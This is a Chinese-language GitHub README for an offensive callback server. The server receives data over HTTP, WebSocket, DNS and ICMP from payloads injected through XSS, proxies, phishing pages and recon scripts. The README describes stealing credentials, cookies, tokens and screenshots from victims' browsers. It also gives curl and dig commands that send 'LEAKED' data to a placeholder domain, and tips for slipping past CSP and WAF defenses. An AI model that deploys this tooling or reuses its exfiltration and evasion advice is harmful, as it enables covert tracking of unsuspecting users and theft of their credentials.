jomoza/Offensive_Callback
GitHub: jomoza/Offensive_Callback
一款集成 HTTP、WebSocket、DNS、ICMP 多协议的攻击性回调服务器,通过模块化 Dealer 分发点实现隐蔽的浏览器指纹采集、设备遥测与 OSINT 数据富化。
Stars: 24 | Forks: 0
# OFFENSIVE CALLBACK
**多协议设备攻击性回调服务器**
```
┌─────────────────────────────────────────┐
│ OFFENSIVE CALLBACK │
│ Node.js / Express │
├──────────┬──────────┬───────┬───────────┤
│ HTTP(S) │ WS │ DNS │ ICMP │
│ :80/443 │ shared │ :53 │ raw sock │ (SMTP & SMB ON DEV)
└────┬─────┴────┬─────┴───┬───┴─────┬─────┘
│ │ │ │
┌──────────▼──────────▼─────────▼─────────▼──────────┐
│ SQLite Database │
│ Logs · IPs · Files · DNS · OSINT Data │
└──────────────────────┬─────────────────────────────┘
│
┌────────────────▼───────────────────┐
│ Web Dashboards │
│ /index · /callback · /dashboard │
│ /scanners · /files · /options │
└────────────────────────────────────┘
```
所有四种协议都接入**单一统一的 SQLite 数据库**。每条日志记录都经过了丰富化处理,包含:浏览器指纹(`Fu`/`Fb`/`Jd`)、GeoIP、WHOIS、可选的 OSINT(Shodan、CriminalIP、VirusTotal、InfoDB)以及文件外发链接。
## 安装
```
git clone https://github.com/jomoza/5ELG
cd 5ELG
npm install
# 复制并配置环境
cp .env.example .env
nano .env
# 开始
node index.js
# 或者使用 root (DNS + ICMP 必需)
sudo node index.js
```
**要求:** Node.js 18+,以及用于 DNS(端口 53)和 ICMP(原始套接字)的 root 权限。
## 环境变量
| 变量 | 默认值 | 描述 |
| -------------------- | ------------------- | ------------------------------------------ |
| `HOST` | `0.0.0.0` | 绑定的网络接口 |
| `DOMAIN` | — | 主域(用于 dealer URL 中) |
| `PORT` | `80` | HTTP 端口 |
| `SSL_PORT` | `443` | HTTPS 端口 |
| `SSL_KEY_PATH` | — | TLS 私钥路径 |
| `SSL_CERT_PATH` | — | TLS 证书路径 |
| `HTTP_SERVER` | `true` | 启用 HTTP(S) 监听器 |
| `WS_SERVER` | `true` | 启用 WebSocket 服务器(共享 HTTP 端口) |
| `DNS_SERVER` | `false` | 启用 DNS 服务器 |
| `DNS_PORT` | `53` | DNS 端口(需要 root 权限) |
| `DNS_RELAY` | `false` | 将未知查询转发至上游 |
| `DNS_RELAY_IP` | `1.1.1.1` | 用于中继模式的上游 DNS |
| `ICMP_LISTENER` | `false` | 启用 ICMP ping 监听器(需要 root 权限) |
| `DB_PATH` | `./db.sqlite` | SQLite 数据库路径 |
| `UPLOAD_PATH` | `./Sources/uploads` | 上传文件存储位置 |
| `BACKUP_PATH` | `./Sources/backups` | CSV 备份存储位置 |
| `DEALERS_PATH` | `./Sources/dealers` | Dealer 文件存储位置 |
| `SHODAN_API_KEY` | — | Shodan API key |
| `CRIMINALIP_API_KEY` | — | CriminalIP API key |
| `VIRUSTOTAL_KEY` | — | VirusTotal API key |
| `INFODB_KEY` | — | InfoDB API key |
| `TELEGRAM_NOTIF` | `false` | Telegram 告警通知 |
| `DISCORD_NOTIF` | `false` | Discord 告警通知 |
| `VELG_USER` | `admin` | Web UI 用户名 |
| `VELG_PWD` | — | Web UI 密码 |
## 安全提示
- 在生产环境中,请部署在配置了有效 TLS 的反向代理(nginx/Caddy)之后
- 保护 Web 界面 —— 请修改默认的 admin:admin 凭证。
- OSINT API key 存储在 `.env` 文件中 —— 切勿提交此文件
- 端口 53 上的 DNS 服务器需要 root 权限;建议使用端口重定向(`iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-port 5353`)并以非 root 用户身份运行进程
- ICMP 监听器需要 root 权限;适用相同的方法
- SQLite 数据库包含敏感的指纹和 OSINT 数据 —— 请相应地保护文件权限(`chmod 600 db.sqlite`)
- `DEALERS_PATH` 中的所有 dealer 文件都是公开提供的 —— 请勿在其中放置敏感文件
## Dealer
### 什么是 Dealer
**Dealer**(分发点)是在 `dealers.json` 中注册的服务器端 endpoint。当 HTTP 请求匹配到某个 dealer 的别名或路径时,服务器会执行该 dealer 配置的行为 —— 提供文件、执行重定向、代理远程站点或响应一个像素点 —— 同时始终记录此次命中。
Dealer 是数据收集点。一旦部署(嵌入页面、发送电子邮件、通过 XSS 投递或通过代理链服务),它们就会静默收集遥测数据并将其发送回服务器。
### Dealer 路由逻辑
在每次入站请求时,dealer 引擎都会应用此查找链:
```
1. Match URL path against aliases[] (exact or prefix match)
→ Aliases starting with "/" are used as-is
→ Others are prepended with "/"
2. If no path match, check ?dl= query parameter against id / aliases (by name)
3. If no match → sendPixel() — return 1×1 transparent PNG
```
如果匹配到的 dealer 处于**非活跃状态**(`status: "inactive"`),该请求将被丢弃并返回 `sendPixel()` —— 不进行记录,也不进行丰富化处理。
### Dealer 类型
| 类型 | 描述 |
| ------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
| `XSS` | 用于浏览器注入的 JavaScript payload。以 `.js` 形式提供或包装在 HTML 中。主要指纹识别向量。 |
| `XSS-PROXY` | 透明代理,将 JS dealer 注入到其代理的每个 HTML 响应中。捕获代理页面的会话 token、表单提交和凭证。 |
| `HTML` | 提供原始 HTML 文件。可以包含任何 payload:CSS 追踪、像素点嵌入、自定义页面、钓鱼诱饵。 |
| `URL-REDIRECT` | 记录命中后重定向到 `redirect`。重定向可以通过包装页面携带注入的 dealer。 |
| `URL` | 提供一个 URL 或充当文件 endpoint。用于提供静态的 dealer 资产。 |
| `PHP-PROXY` | 基于 PHP 的透明代理。镜像目标站点并注入收集代码。 |
| `JSP-PROXY` / `ASP-PROXY` / ... | 代理 dealer 的 JSP / ASP 变体。 |
| `powershell` | 提供 PowerShell 脚本。用于 Windows 服务端侦察:主机名、ARP、连接、已安装的软件、当前用户。 |
| `bash` / `sh` | 提供 Bash/sh 脚本。用于 Linux 侦察:内核、主机名、进程、网络接口、开放端口。 |
| `stealer` | 专用的凭证/数据捕获 dealer。 |
| `COPY/PASTE` | 设计为可直接复制粘贴到浏览器控制台或文档中的 payload。 |
### Dealer 配置 Schema
```
{
"id": "UNIQUE-ID", // Identifier, used in logs as Dl field
"name": "Human-readable name",
"description": "What this dealer does",
"type": "XSS", // See Dealer Types table
"isproxy": false, // Transparent proxy mode
"status": "active", // "active" | "inactive"
"redirect": "https://target.com",// Redirect URL (optional)
"aliases": [ // URL paths and name aliases
"main-dealer",
"/dl",
"/dealer"
],
"urls": [ // Domain reference (shown in UI)
"https://your-domain.com"
],
"loot": "0", // "1" = loot mode, "0" = normal
"file": "default/dl.full.min.js", // File relative to DEALERS_PATH
"total_requests": 0, // Auto-incremented by server
"time_request": {} // Timestamps (managed by server)
}
```
## 浏览器指纹识别
主要的收集代理是由 XSS dealer 提供的 JavaScript payload。当在浏览器上下文中执行时,它会:
1. 计算浏览器**指纹**(`Fu` —— canvas + fonts + WebGL 的 SHA-256)和 **canvas 哈希**(`Fb`)
2. 收集完整的**设备 JSON**(`Jd`)—— 硬件规格、GPU、电池、网络、屏幕、语言、时区、插件
3. 对当前页面进行**屏幕截图**(通过 html2canvas 或原生 API)并将其以 base64 格式外发
4. 拦截页面上的 **POST 提交**(表单捕获、凭证收集)
5. 打开 **WebSocket 连接**进行实时和持续的数据流传输
6. 运行可选的 **LAN 网络扫描器**并报告内部网络拓扑
7. 转储 **localStorage**、**sessionStorage**、**cookies**(在可访问的情况下),以及页面上下文中任何可见的 **API keys** 或 **JWT tokens**
所有数据都通过现有的 HTTP/WS 通道回传至服务器。该请求在视觉上与正常的资产加载无异。
### 指纹字段
|字段|描述|
|---|---|
|`Fu`|SHA-256 浏览器指纹。在会话、标签页和 IP 变更中保持稳定。主要标识符。|
|`Fb`|Canvas 渲染哈希。用于跨浏览器设备分析,识别 GPU/驱动程序组合。|
|`Jd`|Base64 编码的设备 JSON(参见下方的 Jd Device Payload)。|
|`Ip`|源 IP 地址。|
|`Ua`|User-Agent 字符串。|
|`Dl`|Dealer 标识符(哪个 dealer 提供了该请求)。|
|`Er`|Base64 编码的请求信封(方法、URL、headers、body)。|
|`Ts`|请求的时间戳。|
|`Fr`|会话指纹引用(将屏幕截图链接到日志)。|
### JD (JSON of Device) 设备浏览器指纹信息
`Jd` 字段是一个 base64 编码的 JSON 对象,其结构如下:
```
{
"deviceData": {
"platform": "Win32",
"hardwareConcurrency": 8, // CPU cores
"deviceMemory": 16, // RAM in GB
"maxTouchPoints": 0, // Touch screen detection
"languages": ["en-US", "en"],
"timezone": "Europe/Madrid",
"screen": {
"width": 1920, "height": 1080
},
"devicePixelRatio": 2.0,
"vendor": "Google Inc."
},
"gpuData": {
"renderer": "NVIDIA GeForce RTX 3080 ...",
"vendor": "Google Inc. (NVIDIA)",
"colorDepth": 24
},
"browserData": {
"userAgent": "Mozilla/5.0 ...",
"cookieEnabled": true,
"adBlockEnabled": false,
"batteryData": {
"level": 0.87,
"charging": false
},
"networkInfo": {
"effectiveType": "4g",
"downlink": 25.5
},
"memoryInfo": {
"usedJSHeapSize": 42000000
},
"plugins": ["PDF Viewer", "Chrome PDF Viewer"],
"rtcdata": null // RTC local IP (if leaking)
}
}
```
### CSS 与 NoScript 追踪
当 JavaScript 被阻止或不可用时,CSS dealer(`CSS-TRACKING-DEMO`)通过纯 CSS 提供被动遥测:
- **`@font-face` 探测** —— 特定于操作系统的字体加载可揭示 Windows / macOS / Linux / iOS / Android
- **`@supports` 规则** —— 检测 Chrome、Firefox、Safari、Edge 之间的 CSS 引擎差异
- **`@media` 查询** —— 屏幕分辨率、`prefers-color-scheme`、`prefers-reduced-motion`、`pointer: coarse`(触控检测)、`hover`、HDR 能力
- **图片像素信标** —— 每条触发的 CSS 规则都会向服务器请求一个唯一的 1×1 图片,从而记录匹配到的探测
结果:在零 JavaScript 的情况下获取详细的 OS + 浏览器 + 硬件配置文件。
## 数据外发
OFFENSIVE CALLBACK 通过多种协议接收来自植入物和 dealer 的数据。无论使用以下哪种技术,每一个完整的请求(IP、headers、路径、payload)都会被记录到 SQLite 数据库中,并与匹配的 dealer 相关联。
### HTTP 外发
HTTP 是最通用的通道。数据可以编码到 URL 参数、自定义 headers、请求体或 referrer 中。无论路径或方法如何,任何入站 HTTP 请求都会被记录。
**通过 URL 参数和 headers:**
```
curl -I "https://your-domain.com/dealer/beacon.png?data=LEAKED-VALUE"
```
**POST body:**
```
curl -X POST "https://your-domain.com/dealer" \
-H "Content-Type: application/json" \
-d 'LEAKED-DATA'
```
**IMG Ping:**
```
```
**基础查找 —— 注册源 IP 和查询的名称:**
```
dig @your-domain.com LEAKED-DATA.your-domain.com A
```
## 局限性
通过 JavaScript 进行的浏览器指纹识别虽然有效,但需在浏览器安全模型内运作。适用以下限制。
### 混合内容
浏览器会阻止在安全(HTTPS)页面内加载不安全(HTTP)的资源。如果 dealer 通过 HTTP 提供并嵌入在 HTTPS 目标中,该脚本将被静默丢弃。**缓解措施:** 始终通过带有有效且受信任证书的 HTTPS 提供 dealer。在 `.env` 中配置 `SSL_KEY_PATH` / `SSL_CERT_PATH`。
### 无效的 TLS 证书
如果服务器提供不受信任或自签名的证书,浏览器将在 dealer 执行之前拒绝连接(`NET::ERR_CERT_AUTHORITY_INVALID`)。**缓解措施:** 使用来自公共 CA(Let's Encrypt、ZeroSSL)的证书。CSS 像素信标回退机制受到的影响较小,因为图片通常是在跨源的情况下加载的,无需严格的证书检查。
### CORS 限制
当 dealer 从第三方源向回调服务器 POST 数据时,浏览器会强制执行 CORS。如果服务器没有为该源返回 `Access-Control-Allow-Origin`,浏览器将阻止响应 —— 然而,请求本身仍然会到达服务器并被记录。OFFENSIVE CALLBACK 默认返回宽松的 CORS headers;请确保您的反向代理没有剥离它们。
### 内容安全策略 (CSP)
强制执行严格 CSP(`script-src`、`connect-src`、`img-src`)的目标可以阻止 dealer 的执行和外部连接。**部分绕过:** 仅使用 CSS 的 dealer(`CSS-TRACKING-DEMO`)仅使用 `@font-face` 图片加载,这受 `img-src` 而不是 `script-src` 控制,并且能够在许多 `script-src 'none'` 配置中存活下来。DNS 外发不受 HTTP 层面的 CSP 影响。
### 浏览器反指纹追踪
诸如 Firefox(`privacy.resistFingerprinting`)、Brave(随机化的 canvas/WebGL 噪点)和 Tor Browser 等浏览器会故意欺骗或随机化指纹表面。当同一个 `Fu` 的多个 Jd payload 在不同字段间显示出高度差异时,指纹仪表板中的卡片会被标记为**不一致(Inconsistent)** —— 这是正在使用主动反指纹追踪对策的信号。
### 浏览器静默更新
主要的浏览器更新可能会更改 canvas 渲染算法(影响 `Fu` 稳定性),限制电池或网络 API,或者为计时函数添加新的噪点。来自同一设备的指纹在更新后可能会出现差异。`Fb` canvas 哈希比 `Fu` 对渲染更改敏感。
### Web 应用防火墙 (WAFs)
WAF 可以识别并阻止指纹识别模式 —— 异常的 header 组合、来自单个 IP 的高频请求或已知的脚本签名。1×1 像素回退和 DNS 通道是最不可能触发 WAF 规则的向量。轮换 dealer 别名并使用通用的文件扩展名(`.png`、`.gif`、`.woff`)可减少被检测的表面。
## 链接
- [如何追踪注重隐私的浏览器](https://loveisinthe.net/blog/2023/05/10/How-to-track-privacy-lovers-browser/)
- [深入了解 JS 指纹世界](https://loveisinthe.net/blog/2023/01/07/MORE-IN-JS-FINGERPRINT-WORLD/)
- [客户端黑客攻击简介](https://loveisinthe.net/blog/2021/10/25/Cl13nt-SId3-H4cKing-Introduction/)
- [浏览器指纹识别技术 — fingerprint.com](https://fingerprint.com/blog/browser-fingerprinting-techniques/)
- [我是唯一的吗?— 指纹熵测试](https://amiunique.org/)
- [ExoSunand](https://exosunand.net/)
标签:GNU通用公共许可证, IP 地址批量处理, MITM代理, Node.js, SQLite, 回调服务器, 浏览器指纹, 自定义脚本